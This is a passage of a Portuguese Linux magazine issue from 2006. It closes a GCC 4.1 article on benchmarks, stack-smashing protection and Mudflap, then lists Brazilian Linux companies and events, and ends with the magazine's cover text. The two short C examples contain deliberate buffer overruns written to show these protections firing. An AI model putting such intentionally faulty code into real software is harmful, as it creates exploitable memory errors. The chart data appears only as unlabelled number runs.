O efeito mais óbvio pode ser visto nos testes com Botan e o Tramp3d, em C++: 25% mais rápido com o O2 e mais de 40% com o O3, no caso do Botan. Os resultados com código C antigo estão bem misturados (veja a figura 1).

Se você olhar os tempos de compi-lação (figura 2), verá quanto trabalho a mais o compilador realiza se a oti-mização for pedida. E o esforço nem sempre se reflete em influência positiva sobre o tempo de execução. Podemos ficar otimistas pois ao menos o exigente benchmark C++ Tramp3d foi compila-do mais rapidamente pela versão 4.1 do que pela anterior.

SSPComo dito antes, o SSP da IBM dei-xa o programador detectar estouros e esvaziamentos de buffer (buffer under-flows). Para tanto, põe um valor alea-tório de /dev/urandom ou, caso não haja um disponível, a cadeia de caracteres \0\xFF\n, em algum lugar próximo ao endereço de retorno da pilha. Se esse

valor for mudado quando o programa sair da função, pode-se presumir que o endereço de retorno também foi so-brescrito – esta é uma técnica comu-mente utilizada por hackers e softwa-res mal intencionados. Nesse caso, o programa imprime um aviso e sai. Se você compilar e executar o programa do exemplo 1, verá uma mensagem de erro dizendo *** stack smashing detec-ted ***: ./ssp-test terminated. ➧

BenchmarksPara os benchmarks, foi usada a coleção de benchmarks Openbench, referida em artigos anteriores publicados nesta revista. O Openbench agora fez oficialmente a lista de benchmarks na página do GCC [8].

Eu tive que mudar algumas coisas: atu-alizei o Botan novamente para a versão mais recente, 1.4.12, e substituí o teste do libmad, que tem resultados muito seme-lhantes em compiladores diferentes, pelo codificador de MP3 de código aberto Lame.

Figura 1 Tempos de execução em diversos cenários de compilação.

3.4.0-O04.0.0-O04.1.0-O03.4.0-O14.0.0-O14.1.0-O13.4.0-Os4.0.0-Os4.1.0-Os3.4.0-O24.0.0-O24.1.0-O2icc9.0-O24.0.0-O2-loops4.1.0-O2-loops4.0.0-O2-rename-reg4.1.0-O2-rename-reg4.0.0-O2-tracer4.1.0-O2-tracer4.0.0-O2-vect4.1.0-O2-vect3.4.0-O34.0.0-O34.1.0-O34.0.0-O3-loops4.1.0-O3-loops4.0.0-O3-rename-reg4.1.0-O3-rename-reg4.0.0-O3-tracer4.1.0-O3-tracer4.0.0-O3-vect4.1.0-O3-vect

(in seconds – smaller is better)

209.64

226.50

230.15

35.70

29.46

29.15

28.30

28.55

29.85

29.13

28.27

28.68

28.54

27.89

26.71

29.02

28.26

29.12

28.44

28.46

28.40

28.37

28.43

27.40

26.69

28.58

27.76

28.74

28.44

Botan32.99

34.83

34.71

13.56

14.46

14.71

13.18

12.73

13.28

13.39

13.66

13.91

13.15

13.24

13.16

12.95

13.35

13.39

13.71

13.52

13.87

12.05

12.89

13.61

12.95

13.04

12.66

13.34

13.37

13.61

13.32

13.82

Bzip221.25

21.73

23.05

11.91

11.24

10.78

10.66

11.35

11.14

12.02

12.36

11.68

13.86

10.60

11.54

12.36

10.46

10.62

11.01

10.45

10.38

12.22

11.40

10.12

12.00

10.36

10.62

11.15

11.67

10.26

10.49

10.05

Gnupg25.32

26.91

26.86

10.67

9.49

10.52

9.62

10.87

12.31

9.82

9.50

9.26

9.69

9.22

9.61

9.30

9.19

9.31

9.38

9.46

9.43

9.66

9.85

9.16

9.30

9.09

9.89

9.18

9.54

9.11

10.01

9.34

Gzip210.95

236.93

236.45

88.74

91.51

91.20

88.04

90.89

91.71

83.25

86.36

86.71

81.93

86.08

83.86

85.64

86.19

86.51

87.24

88.12

87.04

82.12

86.55

87.08

84.08

83.40

84.90

85.67

86.70

86.80

87.86

86.14

Lame7.56

6.77

6.78

2.33

2.11

1.98

2.10

2.12

2.03

2.10

2.07

1.99

2.16

2.04

1.92

2.02

1.95

2.05

1.99

2.08

2.01

1.92

2.05

1.97

2.02

1.92

2.02

1.92

2.05

1.95

2.08

1.98

OpenSSL249.80

296.70

232.79

23.00

8.95

7.18

12.97

91.33

19.66

13.73

8.66

6.46

5.80

4.21

8.13

6.34

8.16

6.46

8.39

6.62

13.84

8.21

4.49

5.75

4.30

8.06

4.25

8.03

4.50

8.45

4.66

Tramp3d

Exemplo 2: mudflap-test.c

01 int main () {02 char a [200];03 char* b = a;04 printf (“%c\n”, b[200]);05 }

Exemplo 1: ssp-text.c01 int f () {02 char a [200];03 char* b = a;04 int i;05 for (i=0; i<201; ++i)06 a[i] = i;07 }08 09 int main () {10 f ();11 }



PROGRAMAÇÃO | GCC

O aviso dificulta a injeção de códi-go mal intencionado por atacantes na forma de scripts. O parâmetro de linha de comando do GCC -fstack-protector ativa essa proteção.

MudflapUma técnica introduzida no GCC 4.0 leva a proteção um passo adiante em relação ao SSP, ativando a validação de referências a ponteiros em C e C++. Durante a compilação, esse mecanismo, conhecido como Mudflap, faz o acesso à memória refletir o tipo de acesso (acesso a campo ou de-referenciamento a pon-teiro) e as condições que o compilador detectar nesse momento. Por exemplo, a propagação de constantes pode tornar

algumas verificações desnecessárias. Na execução, as funções fornecidas pela bi-blioteca Libmudflap validam esse acesso, terminando o programa em casos críticos. A Libmudflap também valida muitas fun-ções C padrão capazes de sobrescrever a memória, incluindo mem*, str*, *put*, *get* e diversas outras. Para usar o Mudflap, todos os arquivos devem ser compilados com a opção -fmudflap e linkados com a -lmudflap. O pequeno programa em C para teste da exemplo 2 simplesmente acessa a posição de memória um byte além dos limites do vetor a. O Mudflap aponta corretamente o nome da variável que passou dos limites (exemplo 3).

Como o Mudflap valida o acesso à memória em muitos casos, ele pode afe-tar consideravelmente o desempenho em

comparação com o SSP, o qual é quase imperceptível. Assim, o Mudflap é principalmente útil para desenvolvedores interessa-dos em um método rápido de detectar erros potencialmente críticos em estágios iniciais de desenvolvimento.

FuturoOs diversos projetos externos programados para a integração com o GCC 4.2 [6] incluem o

suporte a OpenMP [7] e extensões das linguagens C, C++ e Fortran para supor-tar paralelização explícita. Estes projetos objetivam eliminar o buraco que se abriu entre a coleção de compiladores livres e os compiladores comerciais. ■

Exemplo 3: Saída do Mudflap01 mudflap violation 1 (check/read): time=1143457945.900790 02 ptr=0x7fffffffae78 size=103 pc=0x2aaaaabcd2c1 location=`mudflap-test.c:6 (main)’04 /usr/lib64/libmudflap.so.0(__mf_check+0x41) [0x2aaaaabcd2c1]05 ./mudflap-testt(main+0xd1) [0x4009f9]06 /lib64/libc.so.6(__libc_start_main+0xf4) [0x2aaaaae8bea4]07 Nearby object 1: checked region begins 1B after and ends 1B after08 mudflap object 0x603c20: name=`mudflap-test.c:4 (main) a’09 bounds=[0x7fffffffadb0,0x7fffffffae77] size=200 area=stack 10 check=0r/0w liveness=011 alloc time=1143457945.900783 pc=0x2aaaaabcc71112 number of nearby objects: 1

Figura 2 Tempos de compilação para vários cenários de compilação.

3.4.0-O04.0.0-O04.1.0-O03.4.0-O14.0.0-O14.1.0-O13.4.0-Os4.0.0-Os4.1.0-Os3.4.0-O24.0.0-O24.1.0-O2icc9.0-O24.0.0-O2-loops4.1.0-O2-loops4.0.0-O2-rename-reg4.1.0-O2-rename-reg4.0.0-O2-tracer4.1.0-O2-tracer4.0.0-O2-vect4.1.0-O2-vect3.4.0-O34.0.0-O34.1.0-O34.0.0-O3-loops4.1.0-O3-loops4.0.0-O3-rename-reg4.1.0-O3-rename-reg4.0.0-O3-tracer4.1.0-O3-tracer4.0.0-O3-vect4.1.0-O3-vect

(in seconds – smaller is better)

106.80

94.02

95.98

156.91

141.38

183.61

193.57

60.30

63.76

198.22

165.72

99.01

76.35

103.32

168.43

236.07

171.01

238.54

166.87

234.50

93.44

78.25

104.89

81.48

109.67

180.12

248.32

178.12

252.00

177.04

247.40

Botan2.23

2.35

2.38

2.87

3.77

4.55

4.48

3.90

4.34

5.09

5.62

6.17

5.36

6.16

7.06

5.45

6.13

5.49

6.17

5.89

6.43

5.79

6.13

7.05

7.74

7.97

6.25

7.15

6.26

7.17

6.79

7.45

Bzip216.46

17.09

17.14

23.48

27.05

29.16

30.25

31.77

33.33

33.56

35.82

36.66

32.90

38.10

41.98

35.96

37.66

35.02

37.42

35.76

38.24

36.13

37.01

40.57

42.20

47.05

38.18

41.61

38.90

41.32

39.10

43.59

Gnupg1.06

1.12

1.16

1.56

2.01

2.17

1.86

2.19

2.35

2.15

2.64

2.67

2.07

3.40

3.64

2.48

2.70

2.54

2.77

2.56

2.82

2.40

2.83

3.22

3.80

4.18

2.88

3.25

2.97

3.28

3.02

3.37

Gzip14.90

15.04

15.25

19.09

21.84

23.51

23.46

23.77

25.54

24.68

28.14

29.90

29.32

35.60

38.54

28.57

30.16

28.54

30.45

29.78

31.78

26.88

30.80

35.95

38.77

43.08

30.91

36.08

31.95

36.19

32.70

37.73

Lame74.05

76.13

74.85

88.40

98.03

100.46

98.96

104.91

108.28

109.39

118.50

117.30

118.61

120.06

125.88

115.84

118.95

116.25

117.98

117.78

121.03

112.72

116.92

123.19

124.95

130.84

119.53

124.97

118.46

123.72

121.69

127.30

OpenSSL28.12

35.63

35.46

50.41

110.11

87.50

68.16

43.36

42.60

74.60

139.78

108.59

144.44

115.81

134.40

109.20

136.12

110.14

141.35

112.31

73.52

142.56

117.28

153.54

123.62

144.09

117.92

145.33

119.48

150.60

121.95

Tramp3d

Mais Informações[1] Homepage do GCC: http://

gcc.gnu.org/

[2] Stack Smashing Protector SSP: http://www.trl.ibm.com/projects/security/ssp/

[3] Mudanças no GCC 4.1: http://gcc.gnu.org/gcc-4.1/ changes.html

[4] Compilando o Debian com o GCC 4.1 – relato de experiência: http://gcc.gnu.org/ml/gcc/2006-03/msg00740.html

[5] Mudflap: http://gcc.fyxm.net/summit/2003/mudflap.pdf

[6] GCC 4.2: http://gcc.gnu.org/wiki/GCC%204.2%20Projects

[7] OpenMP: http://www.openmp.org/ drupal/mp-documents/spec25.pdf

[8] Openbench: http://www.exactcode.de/ oss/openbench/



Fornecedor de Hardware = 1 Redes e Telefonia / PBX = 2 Integrador de Soluções = 3

Literatura / Editora = 4 Fornecedor de Software = 5

Consultoria / Treinamento = 6

Linux.local

Empresa Cidade Endereço Telefone Web 1 2 3 4 5 6

Espírito SantoLinux Shopp Vila Velha Rua São Simão (Correspondência), 18 – CEP: 29113-120 27 3082-0932 www.linuxshopp.com.br ✔ ✔ ✔ ✔

Megawork Consul-toria e Sistemas

Vitória Rua Chapot Presvot, 389 – Praia do Can-to – CEP: 29055-410 sl 201, 202

27 3315-2370 www.megawork.com.br ✔ ✔ ✔

Spirit Linux Vitória Rua Marins Alvarino, 150 – CEP: 29047-660 27 3227-5543 www.spiritlinux.com.br ✔ ✔ ✔

Minas GeraisInstituto Online Belo Horizonte Av. Bias Fortes, 932, Sala 204 – CEP: 30170-011 31 3224-7920 www.institutoonline.com.br ✔ ✔

Linux Place Belo Horizonte Rua do Ouro, 136, Sala 301 – Serra – CEP: 30220-000 31 3284-0575 corporate.linuxplace.com.br ✔ ✔ ✔ ✔

TurboSite Belo Horizonte Rua Paraíba, 966, Sala 303 – Savassi – CEP: 30130-141 0800 702-9004 www.turbosite.com.br ✔ ✔ ✔

Microhard Belo Horizonte Rua República da Argentina, 520 – Sion – CEP: 30315-490 31 3281-5522 www.microhard.com.br ✔ ✔ ✔ ✔ ✔

ParanáiSolve Curitiba Av. Cândido de Abreu, 526, Cj. 1206B – CEP: 80530-000 41 252-2977 www.isolve.com.br ✔ ✔ ✔

Mandriva Conectiva Curitiba Rua Tocantins, 89 – Cristo Rei – CEP: 80050-430 41 3360-2600 www.mandriva.com.br ✔ ✔ ✔ ✔

Rio de JaneiroNSI Training Rio de Janeiro Rua Araújo Porto Alegre, 71, 4ºandar Centro – CEP: 20030-012 21 2220-7055 www.nsi.com.br ✔ ✔

Open IT Rio de Janeiro Rua do Mercado, 34, Sl, 402 – Centro – CEP: 20010-120 21 2508-9103 www.openit.com.br ✔ ✔

Unipi Tecnologias Campos dos Goytacazes

Av. Alberto Torres, 303, 1ºandar - Centro – CEP 28035-581 22 2725-1041 www.unipi.com.br ✔ ✔ ✔ ✔

Rio Grande do SulSolis Lajeado Rua Comandante Wagner, 12 – São Cris-

tóvão – CEP: 95900-00051 3714-6653 www.solis.coop.br ✔ ✔ � ✔ ✔

DualCon Novo Hamburgo Rua Joaquim Pedro Soares, 1099, Sl. 305 – Centro 51 3593-5437 www.dualcon.com.br ✔ ✔ ✔ ✔

Datarecover Porto Alegre Av. Carlos Gomes, 403, Sala 908, Centro Comer-cial Atrium Center – Bela Vista – CEP: 90480-003

51 3018-1200 www.datarecover.com.br ✔ ✔

LM2 Consulting Porto Alegre Rua Germano Petersen Junior, 101-Sl 202 – Hi-gienópolis – CEP: 90540-140

51 3018-1007 www.lm2.com.br ✔ ✔ ✔

Lnx-IT Informação e Tecnologia Porto Alegre Av. Venâncio Aires, 1137 – Rio Branco – CEP: 90.040.193 51 3331-1446 www.lnx-it.inf.br ✔ ✔ ✔ ✔

Plugin Porto Alegre Av. Júlio de Castilhos, 132, 11º andar Centro – CEP: 90030-130 4003-1001 www.plugin.com.br ✔ ✔ ✔

TeHospedo Porto Alegre Rua dos Andradas, 1234/610 – Centro – CEP: 90020-008 51 3286-3799 www.tehospedo.com.br ✔ ✔

Santa CatarinaRedix Blumenau Rua 02 de Setembro, 733, sl 08. CEP 89052-000 47 3323-7313 www.redix.com.br ✔ ✔ ✔ ✔

São PauloWs Host Arthur Nogueira Rua Jerere, 36 – Vista Alegre – CEP: 13280-000 19 3846-1137 www.wshost.com.br ✔ ✔ ✔

DigiVoice Barueri Al. Juruá, 159, Térreo – Alphaville – CEP: 06455-010 11 4195-2557 www.digivoice.com.br ✔ ✔ ✔ ✔ ✔

Dextra Sistemas Campinas Rua Antônio Paioli, 320 – Pq. das Uni-versidades – CEP: 13086-045

19 3256-6722 www.dextra.com.br ✔ ✔ ✔

Insigne Free Software do Brasil Campinas Av. Andrades Neves, 1579 – Castelo – CEP: 13070-001 19 3213-2100 www.insignesoftware.com ✔ ✔ ✔

Microcamp Campinas Av. Thomaz Alves, 20 – Centro – CEP: 13010-160 19 3236-1915 www.microcamp.com.br ✔ ✔

Savant Tecnologia Diadema Av. Senador Vitorino Freire, 465 – CEP: 09910-550 11 5034-4199 www.savant.com.br ✔ ✔ ✔ ✔

Epopéia Informática Marília Rua Goiás, 392 – Bairro Cascata – CEP 17509-140 14 3413-1137 www.epopeia.com.br ✔

Redentor Osasco Rua Costante Piovan, 150 – Jd. Três Mon-tanhas – CEP: 06263-270

11 2106-9392 www.redentor.ind.br ✔

Go-Global Santana de Parnaíba Av. Yojiro Takaoca, 4384, Ed. Shopping Ser-vice, Cj. 1013 – CEP: 06541-038

11 2173-4211 www.go-global.com.br ✔ ✔ ✔

AW2NET Santo André Rua Edson Soares, 59 – CEP: 09760-350 11 4990-0065 www.aw2net.com.br ✔ ✔ ✔

Async Open Source São Carlos Rua Orlando Damiano, 2212 – CEP 13560-450 16 3376-0125 www.async.com.br ✔ ✔ ✔

Delix Internet São José do Rio Preto

Rua Voluntário de São Paulo, 3066 9º – Centro – CEP: 15015-909

11 4062-9889 www.delixhosting.com.br ✔ ✔ ✔

4Linux São Paulo Rua Teixeira da Silva, 660, 6º andar – CEP: 04002-031 11 2125-4747 www.4linux.com.br ✔ ✔

SE

RV

IÇO

S O maior diretório de empresas que oferecem produtos, soluções e serviços em Linux e Software Livre, organizado por estado. Sentiu falta do nome de sua empresa aqui? Entre em contato com a gente: 11 2161-5400 ou [email protected]


79

Empresa Cidade Endereço Telefone Web 1 2 3 4 5 6

São Paulo (continuação)A Casa do Linux São Paulo Al. Jaú, 490 – Jd. Paulista – CEP 01420-000 11 3549-5151 www.acasadolinux.com.br ✔ ✔ ✔

Accenture do Brasil Ltda. São Paulo Rua Alexandre Dumas, 2051 – Cháca-ra Santo Antônio – CEP: 04717-004

11 5188-3000 www.accenture.com.br ✔ ✔ ✔

ACR Informática São Paulo Rua Lincoln de Albuquerque, 65 –Perdizes – CEP: 05004-010 11 3873-1515 www.acrinformatica.com.br ✔ ✔

Agit Informática São Paulo Rua Major Quedinho, 111, 5º andar, Cj. 508 – Centro – CEP: 01050-030

11 3255-4945 www.agit.com.br ✔ ✔ ✔

Altbit - Informática Co-mércio e Serviços LTDA.

São Paulo Av. Francisco Matarazzo, 229, Cj. 57 – Água Branca – CEP 05001-000

11 3879-9390 www.altbit.com.br ✔ ✔ ✔ ✔

AS2M -WPC Consultoria São Paulo Av. Tiradentes, 615, Ed. Santiago, 2º an-dar Bom Retiro – CEP: 01101-010

11 3228-3709 www.wpc.com.br ✔ ✔ ✔

Big Host São Paulo Rua Dr. Miguel Couto, 58 – Centro – CEP: 01008-010 11 3033-4000 www.bighost.com.br ✔ ✔ ✔

Blanes São Paulo Rua André Ampére, 153 – 9º andar – Conj. 91 CEP: 04562-907 (próx. Av. L. C. Berrini)

11 5506-9677 www.blanes.com.br ✔ ✔ ✔ ✔ ✔

Commlogik do Brasil Ltda. São Paulo Av. das Nações Unidas, 13.797, Bloco II, 6º an-dar – Morumbi – CEP: 04794-000

11 5503-1011 www.commlogik.com.br ✔ ✔ ✔ ✔ ✔

Computer Consulting Pro-jeto e Consultoria Ltda.

São Paulo Rua Vergueiro, 6455, Cj. 06 – Alto do Ipiranga – CEP: 04273-100 11 5062-3927 www.computerconsulting.com.br ✔ ✔ ✔ ✔

Consist Consultoria, Siste-mas e Representações Ltda.

São Paulo Av. das Nações Unidas, 20.727 – CEP: 04795-100 11 5693-7210 www.consist.com.br ✔ ✔ ✔ ✔

Domínio Tecnologia São Paulo Rua das Carnaubeiras, 98 – Metrô Con-ceição – CEP: 04343-080

11 5017-0040 www.dominiotecnologia.com.br ✔ ✔

EDS do Brasil São Paulo Av. Pres. Juscelino Kubistcheck, 1830 Torre 4 - 5º andar 3707-4100 www.eds.com ✔ ✔ ✔

Ética Tecnologia São Paulo Rua Nova York, 945 – Brooklin – CEP:04560-002 11 5093-3025 www.etica.net ✔ ✔ ✔ ✔

Getronics ICT Solu-tions and Services

São Paulo Rua Verbo Divino, 1207 – CEP: 04719-002 11 5187-2700 www.getronics.com/br ✔ ✔ ✔

Hewlett-Packard Brasil Ltda. São Paulo Av. das Nações Unidas, 12.901, 25º andar – CEP: 04578-000 11 5502-5000 www.hp.com.br ✔ ✔ ✔ ✔ ✔

IBM Brasil Ltda. São Paulo Rua Tutóia, 1157 – CEP: 04007-900 0800-7074 837 www.br.ibm.com ✔ ✔ ✔ ✔

iFractal São Paulo Rua Fiação da Saúde, 145, Conj. 66 – Saúde – CEP: 04144-020 11 5078-6618 www.ifractal.com.br ✔ ✔ ✔

Integral São Paulo Rua Dr. Gentil Leite Martins, 295, 2º an-dar Jd. Prudência – CEP: 04648-001

11 5545-2600 www.integral.com.br ✔ ✔

Itautec S.A. São Paulo Rua Santa Catarina, 1 – Tatuapé – CEP: 03086-025 11 6097-3000 www.itautec.com.br ✔ ✔ ✔ ✔ ✔

Linux Komputer Informática São Paulo Av. Dr. Lino de Moraes Leme, 185 – CEP: 04360-001 11 5034-4191 www.komputer.com.br ✔ ✔ ✔ ✔

Linux Mall São Paulo Rua Machado Bittencourt, 190, Cj. 2087 – CEP: 04044-001 11 5087-9441 www.linuxmall.com.br ✔ ✔ ✔

Livraria Tempo Real São Paulo Al. Santos, 1202 – Cerqueira César – CEP: 01418-100 11 3266-2988 www.temporeal.com.br ✔ ✔ ✔

Locasite Internet Service São Paulo Av. Brigadeiro Luiz Antonio, 2482, 3º an-dar – Centro – CEP: 01402-000

11 2121-4555 www.locasite.com.br ✔ ✔ ✔

Microsiga São Paulo Av. Braz Leme, 1631 – CEP: 02511-000 11 3981-7200 www.microsiga.com.br ✔ ✔ ✔

Novatec Editora Ltda. São Paulo R. Luis Antonio dos Santos, 110 – Santana – 02460-000 11 6979-0071 www.novateceditora.com.br ✔

Novell América Latina São Paulo Rua Funchal, 418 – Vila Olímpia 11 3345-3900 www.novell.com/brasil ✔ ✔ ✔

Oracle do Brasil Sistemas Ltda. São Paulo Av. Alfredo Egídio de Souza Aranha, 100 – Bloco B – 5º andar – CEP: 04726-170

11 5189-3000 www.oracle.com.br ✔ ✔

Proelbra Tecnolo-gia Eletrônica Ltda.

São Paulo Av. Rouxinol, 1.041, Cj. 204, 2º andar Moema – CEP: 04516-001 11 5052- 8044 www.proelbra.com.br ✔ ✔ ✔

Provider São Paulo Av. Cardoso de Melo, 1450, 6º an-dar – Vila Olímpia – CEP: 04548-005

11 2165-6500 www.e-provider.com.br ✔ ✔ ✔

Red Hat Brasil São Paulo Av. Angélica, 2503, 8º andar Consolação – CEP: 01227-200

11 3124-6000 www.latinsourcetech.com.br ✔ ✔

Samurai Projetos Especiais São Paulo Rua Barão do Triunfo, 550, 6º andar – CEP: 04602-002 11 5097-3014 www.samurai.com.br ✔ ✔ ✔

SAP Brasil São Paulo Av. das Nações Unidas, 11.541, 16º andar – CEP: 04578-000 11 5503-2400 www.sap.com.br ✔ ✔ ✔

Simples Consultoria São Paulo Rua Mourato Coelho, 299, Cj. 02 Pinheiros – CEP: 05417-010 11 3898-2121 www.simplesconsultoria.com.br ✔ ✔ ✔

Smart Solutions São Paulo Av. Jabaquara, 2940 cj 56 e 57 11 5052-5958 www.smart-tec.com.br ✔ ✔ ✔ ✔

Snap IT São Paulo Rua João Gomes Junior, 131 – Jd. Bonfiglioli – CEP: 05299-000 11 3731-8008 www.snapit.com.br ✔ ✔ ✔

Stefanini IT Solutions São Paulo Av. Brig. Faria Lima, 1355, 19º – Pinheiros – CEP: 01452-919 11- 3039-2000 www.stefanini.com.br ✔ ✔ ✔

Sun Microsystems São Paulo Rua Alexandre Dumas, 2016 – CEP: 04717-004 11 5187-2100 www.sun.com.br ✔ ✔ ✔ ✔

Sybase Brasil São Paulo Av. Juscelino Kubitschek, 510, 9º an-dar Itaim Bibi – CEP: 04543-000

11 3046-7388 www.sybase.com.br ✔ ✔

The Source São Paulo Rua Marquês de Abrantes, 203 – Chá-cara Tatuapé – CEP: 03060-020

11 6698-5090 www.thesource.com.br ✔ ✔ ✔

Unisys Brasil Ltda. São Paulo Rua Alexandre Dumas, 1711, 10º an-dar, Ed. Birmann 11 – CEP: 04717-004

11 3305-7000 www.unisys.com.br ✔ ✔ ✔ ✔

Utah São Paulo Av. Paulista, 925, 13º andar – Cerquei-ra César – CEP: 01311-916

11 3145-5888 www.utah.com.br ✔ ✔ ✔

Visuelles São Paulo R. Eng. Domicio Diele Pacheco e Sil-va, 585 – Interlagos – CEP 04455-310

11 5614-1010 www.visuelles.com.br ✔ ✔ ✔

Webnow São Paulo Av. Nações Unidas, 12.995, 10º andar, Ed. Plaza Cen-tenário – Chácara Itaim – CEP: 04578-000

11 5503-6510 www.webnow.com.br ✔ ✔ ✔

WRL Informática Ltda. São Paulo Rua Santa Ifigênia, 211/213, Box 02– Centro – CEP: 01207-001 11 3362-1334 www.wrl.com.br ✔ ✔ ✔

Systech Taquaritinga Rua São José, 1126 – Centro - Cai-xa Postal 71 – CEP: 15.900-000

16 3252-7308 www.systech-ltd.com.br ✔ ✔ ✔

| SERVIÇOSLinux.local

Linux Magazine #23 | Setembro de 2006http://supertuxbr.blogspot.com


Calendário de eventosEvento Data Local Website

Black Hat USA 2006 29 de Julho a 3 de Agosto Las Vegas, EUA www.blackhat.com

24º Enecomp (Enc. Nac. Estud. Computação) 31 de Julho a 04 de Agosto Poços de Caldas, MG www.enec.org.br/enecomp2006

LinuxWorld Conference & Expo San Francisco

14 a 17 de Agosto Califórnia, EUA www.linuxworldexpo.com/live/12

3º Festsol (Fest. Soft. Livre da Bahia) 24 a 26 de Agosto Lauro de Freitas, BA www.psl-ba.softwarelivre.org

2º Seminário Linux Park ‘06 29 de Agosto São Paulo, SP www.linuxpark.com.br

Congresso InfoSoft 200631 de Agosto e 1º de Setembro

São José do Rio Preto, SP www.congressoinfosoft.com.br

4º Encontro Nacional Linuxchix Brasil 8 e 9 de Setembro Florianópolis, SC www.linuxchix.org.br

Tivoli Day 10 de Agosto Brasília e Belo Horizontewww.ibm.com/br/navcode (códs. ti-volidaybsb ou tivolidaybh)

O'Reilly EuroOSCON 2006 18 a 21 de Setembro Bruxelas, Bélgica www.conferences.oreillynet.com/euos2006

III Seminário LinuxPark'06 20 de Setembro São Paulo, SP www.linuxpark.com.br

Seminário Web com Ruby on Rails 23 de Setembro São Paulo, SP www.eventos.temporeal.com.br

OpenOffice.org Conference 2006 11 a 13 de Setembro Lyon, França www.marketing.openoffice.org/ooocon2006

III Fórum Reg. de Soft. Livre do ABCD 21 e 23 de Setembro Diadema, SP www.psl-abcd.org/forum/2006/

KDE Dev. and Users Conf 2006 “aKademy” 23 a 30 de Setembro Dublin, Irlanda www.conference2006.kde.org

SECCOMP 2006 (XIV Sem. Ciência Comp.) 23 a 27 de Outubro Rio Claro , SP www.rc.unesp.br/seccomp

LinuxWorld Conference & Expo UK 25 e 26 de Outubro Londres, Inglaterra www.linuxworldexpo.co.uk

2ª Semana Software Livre Univale 20 e 21 de Outubro Ivaiporã, PR www.univale.com.br/livre

International PHP Conference 2006 5 a 8 de Novembro Frankfurt, Alemanha www.phpconference.com

Web 2.0 Conference 7 a 9 de Novembro Califórnia, EUA www.web2con.com

SE

RV

IÇO

S

Índice de anunciantesEmpresa Website Página

4Linux www.4linux.com.br 17

BRConnection www.brc.com.br 33

Green Treinamentos www.green.com.br 19

Guia de Tecnologia da Informação www.guiadeti.com/portugues 13

IBM www.ibm.com.br 84

Intel www.intel.com.br 15

Itautec www.itautec.com.br 07

LinuxPark’06 www.linuxpark.com.br 02

LinuxWorld Expo www.linuxworldexpo.com.br 81

Linux.local www.linuxnewmedia.com.br 11

Oracle www.oracle.com/global/br 09

Plugin www.plugin.com.br 83

SnapIT www.snapit.com.br 67

Thin Networks www.thinnetworks.com.br 37

VIPware www.vipware.com.br 77


��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��http://supertuxbr.blogspot.com


Setembro de 2006

Na Linux Magazine #23…

PR

EV

IEW

DESTAQUE

Solução luminosaA combinação LAMP (Linux, Apache, MySQL, PHP/Python/Perl) cada vez mais se consolida como um conjunto insuperável para servidores web nos quesitos desempenho, segurança e economia, entre outros. Para a próxi-ma edição, preparamos artigos sobre cada um dos componentes: Apache, MySQL e PHP.

Não perca também os artigos complementares sobre o tema: in-dexação de textos no PostgreSQL e técnicas de programação web Ajax (Asynchronous Javascript and XML) com Python. ■

SYSADMIN

O ataque dos botsNosso colunista Charly Kühnast conta como contornou um ataque de uma rede de bots (PCs “seqües-trados”) para envio massivo de spam, em um de seus servidores. ■

TUTORIAL

Easy RaiderSaiba como tirar mais desempenho e segurança no armazenamento de dados com um sistema RAID (Redundant Array of Independent Disks). Conheça os diferentes ní-veis RAID e como implementá-los no Linux. ■

Setembro de 2006

Na EasyLinux #06…DESTAQUE

Escritório livreAquela planilha de custos que o seu chefe pediu há algum tempo, a carta que você tem que enviar para o fornecedor e a apresentação para os novos clientes da empresa... Nada que o OpenOffice.org não dê conta com um pé nas costas.

Para a próxima edição, preparamos tutoriais para criação de boletins avançados no editor de textos Writer, fórmulas e gráfi-cos em planilhas do Calc, apresentações com o Impress.

Saiba também como eliminar a papelada, escaneando docu-mentos e arquivando o resultado no prático formato PDF. ■

OFICINA

À prova de desastresDepois de tanto trabalho, uma pane no computador e tudo está perdido... Não se você tiver tomado as precauções bási-cas. Ou seja, becape! Saiba como automatizar suas cópias de segurança de documentos e arquivos importantes. ■

GURU

Lidando com processosOs programas aparecem para o sistema operacional como pro-cessos. Aprenda a gerenciar seus processos para ter um maior controle sobre a máquina. ■

LABORATÓRIO

Fedora Core 5O projeto Fedora, da Red Hat, vem se firmando cada vez mais como uma das melhores opções de distribuição polivalente: é uma boa alternativa tanto no computador pessoal quanto em servidores ou estações de trabalho. Conheça os novos recursos nessa análise voltada para quem planeja usar o Fedora como um sistema desktop. ■


Hospedagemde Sites e Servidores

INTERNET PARA PROFISSIONAIS DE INTERNET

Monitoramentode Rede

InternetData Center

Servidoresde Alta Disponibilidade

4003-1001 www.plugin.com.br

Gab

arit

o

Anu_Lunix_015.qxd 7/5/06 4:23 PM Page 1


#22 08/06

R$ 10,90 € 5,50

97

71

80

69

42

00

9

00

02

2

A REVISTA DO PROFISSIONAL DE TI

Linu

x M

agazin

e

# 22 # 22

A

go

sto

200

6

08/2006

WWW.LINUXMAGAZINE.COM.BR NOVO PROJETO GRÁFICO E EDITORIAL!

XANDROS NO BRASIL p.26Entrevista comJames Largotta

CARREIRA: CERTIFICAÇÃO p.24Linux Professional Institute, vale a pena?

FUI INVADIDO p.10Augusto Campos conta como proceder

» Raio-X: como agem os rootkits p.28» Gerenciamento de segurança com o AppArmor p.34

» A proteção granular do SELinux p.38» Novell e Red Hat confrontam suas soluções p.42

» Apache seguro com ModSecurity p.46

INVASÃOSERVIDOR À PROVA DE

VEJA TAMBÉM NESTA EDIÇÃO:» O que muda no Suse 10.1 p.50» Áudio profissional é com o JACK p.52» Otimize seus scripts Bash p.68» Manipulando imagens no Python p.70» A potência do GCC 4.1 p.74

SENDMAIL CONTRA O SPAM p.62Livre-se de emails indesejados

SAMBA 4 p.58Nova versão do servidor universal

Invasão

R

oo

tkits

Ap

pA

rmo

r S

ELin

ux

A

pach

e

Se

nd

mail

Sam

ba

Jack

Bash

S

use

10.1 G

CC

P

ytho

n

LPI

ex

em

pla

r d

e

Ass

inan

teve

nd

a

pro

ibid

a


22 - servidor prova de invasao_ago_2006

Documents